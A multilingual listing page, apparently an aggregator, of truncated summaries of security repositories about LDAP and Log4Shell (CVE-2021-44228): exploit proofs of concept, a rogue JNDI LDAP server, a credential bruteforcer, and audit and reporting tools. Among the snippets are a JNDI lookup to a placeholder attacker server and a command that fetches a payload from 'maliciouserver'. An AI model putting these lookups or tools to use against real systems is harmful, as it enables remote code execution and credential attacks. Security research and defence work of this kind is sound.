legba

legba Join the project community on our server! Legba is a multiprotocol credentials bruteforcer / password sprayer and enumerator built with Rust and the Tokio asynchronous runtime in order to achieve better performances and stability while consuming less resources than similar tools. Key Featur...

Log4Shell

Log4Shell このリポジトリは、Log4j 2021（CVE-2021-44228）の脆弱性のデモンストレーションと緩和策のためのものです。 Log4Shellとは？ CVE-2021-44228 / Log4Shellの脆弱性は、悪意のあるペイロードを脆弱なソフトウェアに注入することで構成され、Log4JにJNDIとLDAPプロトコルを通じて第三者ソースから値を取得するよう要求させます。... 取り込まれたデータはコードになる可能性があり、それがシステム上でLog4Jによって実行されます。 概念実証（ビデオチュートリアル） 1...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Un programa sencillo para demostrar cómo se puede explotar la vulnerabilidad de Log4j CVE-2021-44228 Ejecutar la demo : Para iniciar el programa, simplemente ejecute start.sh en sistemas UNIX o start.bat en Windows. La entrada del usuario se leerá y se registrará en la...

CVE-2024-49112

LDAP Nightmare CVE-2024-49112 のエクスプロイト。Yuki Chen（@guhe120）氏によって報告されました。Windows Lightweight Directory Access Protocol（LDAP）の脆弱性です。 SafeBreach Labs によって作成されました（2025年1月1日公開）。脆弱性の完全な技術分析と、私たちがどのようにエクスプロイトに成功したかについては、ブログ記事 こちら をご覧ください。 概要 CVE-2024-49112 は、Microsoft によるとリモートコード実行を可能にする Windows LDAP...

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

CVE-2026-21017 – LDAP 匿名バインド特権昇格 プログラムコード Python ldap3 シミュレーション ldapanonsim.py - LDAP server allowing anonymous bind with write access from ldap3 import Server, Connection, ALL Simulated: real server would be misconfigured server = Server'ldap://localhost:389', getinfo=ALL conn = Connectionserver...

CVE-2026-5050-Blind-LDAP-Injection-via-Unescaped-Filter

CVE-2026-5050 – 이스케이프되지 않은 필터를 통한 블라인드 LDAP 인젝션 프로그램 코드 Python 기반 ldap3 시뮬레이션 ldapserversim.py - Simulated LDAP authentication server from flask import Flask, request, jsonify app = Flaskname Fake user database USERS = 'admin': 'password': 'secret', 'role': 'admin', 'user': 'password': 'pass',...

log4shell

Log4Shell CVE-2021-44228 — 연구 보고서 2021년 12월에 공개된 Apache Log4j 2의 치명적 원격 코드 실행 취약점인 Log4Shell 에 대한 독립형 기술 보고서입니다. 근본 원인 분석, 전체 공격 체인, 탐지/완화 지침, 그리고 격리된 로컬 랩에서 수행한 종단 간 익스플로잇 재현을 터미널 및 로그 증거와 함께 다룹니다. 실시간 보고서 보기 → 포함 내용 취약점 개요 — Log4Shell이 무엇이며 왜 치명적이었는지 기술 분석 — JndiLookup.java의 취약한 코드 경로와 4단계 공격 흐...

rogue-jndi

Rogue JNDI JNDI 인젝션 공격을 위한 악성 LDAP 서버. 설명 이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다. 공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. 그런 다음 로컬 서버는 원격...

ldeep

プロジェクトステータス .. image:: https://github.com/franc-pentest/ldeep/actions/workflows/python-test.yml/badge.svg :target: https://github.com/franc-pentest/ldeep/actions/workflows/python-test.yml :alt: Build status .. image:: https://badgen.net/pypi/v/ldeep :target: https://pypi.org/project/ldeep/ :alt:...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Apache Log4j ≤ 2.14.1의 치명적인 취약점 Log4Shell 에 대한 테스트 익스플로잇으로, JNDI 주입을 통해 원격 코드 실행을 허용합니다. ⚠️ 이 PoC는 교육 목적 및 승인된 환경에서의 통제된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 요구 사항 Python 3.x Java 8 이상 marshalsec 악성 LDAP 서버용 HTTP 서버 예: python3 -m http.server...

log4j-docker-vaccine

Log4j 도커 백신 Cybereason이 제공하는 log4j 백신을 컨테이너화한 방법입니다. https://github.com/Cybereason/Logout4Shell 실행하기 이 저장소를 클론하세요: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git containers.env 파일을 편집하여 대상이 접근 가능한 정확한 사설 또는 공인 IP/DNS를 입력하세요. 기본 항목은 아마 작동하지 않을 것입니다! 컨테이너를 빌드하고 실행하세요: docker-compo...

CVE-2026-14502

IBM DataPower Gateway 10.5.0.0 through 10.5.0.22, 10.6.1 through 10.6.6, 10.6.0.0 through 10.6.0.10, and 11.0.0.0 through 11.0.0.2 could allow a remote attacker to obtain administrative access due to failure to reject empty passwords during LDAP authentication...

Adalanche

Adalanche Open Source Attack Graph Visualizer and Explorer Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and...

LDAPRecon-AI

LDAPRecon-AI AI 기반 분석을 갖춘 Active Directory LDAP 보안 감사 도구 AD 환경의 보안 상태를 열거, 평가, 점수화합니다 영어 | 프랑스어 | | | \ / \ | | \ / \ | | | | | | | |/ \ | | | | / / / | ' \ / \ | | | || || / | /| 면책 조항 / 경고 이 도구는 승인된 보안 감사 전용 입니다. 컴퓨터 시스템에 무단으로 접근하는 것은 불법입니다. 보안 평가를 수행하기 전에 항상 적절한 서면 승인을 받으십시오. 이 도구는 승인된 보안 감사...

CVE-2021-44228

Log4Shell 개념 증명 이 저장소는 CVE-2021-44228 취약점에 대한 개념 증명입니다. 이 저장소는 이 저장소에서 파생되었습니다. 이 저장소에서는 취약한 애플리케이션의 예와 이를 익스플로잇하는 방법에 대한 데모를 만들었습니다. 개념 증명 구성 요소 저는 이 취약점의 생성을 자동화하기 위해 상위 파이썬 스크립트를 수정했습니다. 이 저장소에는 쉽게 사용할 수 있도록 두 개의 Dockerfile이 있습니다. Docker-Ldap 이 Docker 이미지에서는 제 구글 드라이브에서 자바 jdk-8u20을 다운로드합니다. 오...

Log4jTools

Log4jTools Log4j CVE-2021-44228 조사를 위한 도구 버그 설명 및 데모 https://www.youtube.com/watch?v=0-abhd-CLwQ FetchPayload.py JNDI 조회에서 제공된 ldap 경로에서 java 페이로드 가져오기. 요구 사항: curl 시스템, requests 파이썬 예제 명령: python FetchPayload.py ldap://maliciouserver:1337/path + getting object from ldap://maliciouserver:1337/pat...

sopa

sopa Golang으로 작성된 ADWS 실용 클라이언트입니다. Sopa는 ADWS 프로토콜 스택MS-NNS + MC-NMF + SOAP을 구현하며, 다음 명령줄 기능을 제공합니다: 객체 검색 및 조회 query: LDAP 필터 검색을 WS-Enumeration Enumerate + Pull 루프를 통해 실행하며, 속성 프로젝션, 범위 제어Base/OneLevel/Subtree, 페이지네이션 지원 get: DN으로 단일 객체를 WS-Transfer Get을 통해 가져옴 객체 수명 주기 create: WS-Transfer...

writehat

WriteHat is a reporting tool which removes Microsoft Word and many hours of suffering from the reporting process. Markdown -- HTML -- PDF. Created by penetration testers, for penetration testers - but can be used to generate any kind of report. Written in Django Python 3. Features: Effortlessly...

writehat

WriteHat 은 보고서 작성 과정에서 Microsoft Word와 많은 고통를 제거해주는 보고 도구입니다. Markdown -- HTML -- PDF 로 변환됩니다. 침투 테스터에 의해, 침투 테스터를 위해 만들어졌지만, 모든 종류의 보고서를 생성하는 데 사용할 수 있습니다. DjangoPython 3로 작성되었습니다. 기능: 멋진 침투 테스트 보고서를 손쉽게 생성 즉석 드래그 앤 드롭 보고서 작성기 Markdown 지원 – 코드 블록, 테이블 등 포함 이미지 자르기, 주석 추가, 캡션, 업로드 사용자 정의 가능한 보고서...

self-service-password

LDAP Tool Box Self Service Password 소개 Self Service Password는 사용자가 LDAP 디렉터리에서 자신의 비밀번호를 변경할 수 있게 해주는 PHP 애플리케이션입니다. 이 애플리케이션은 표준 LDAPv3 디렉터리OpenLDAP, OpenDS, ApacheDS, Sun Oracle DSEE, Novell 등 및 Active Directory에서도 사용할 수 있습니다. 다음과 같은 기능이 있습니다: Samba 비밀번호 변경을 위한 Samba 모드 Active Directory 모드 비밀번호...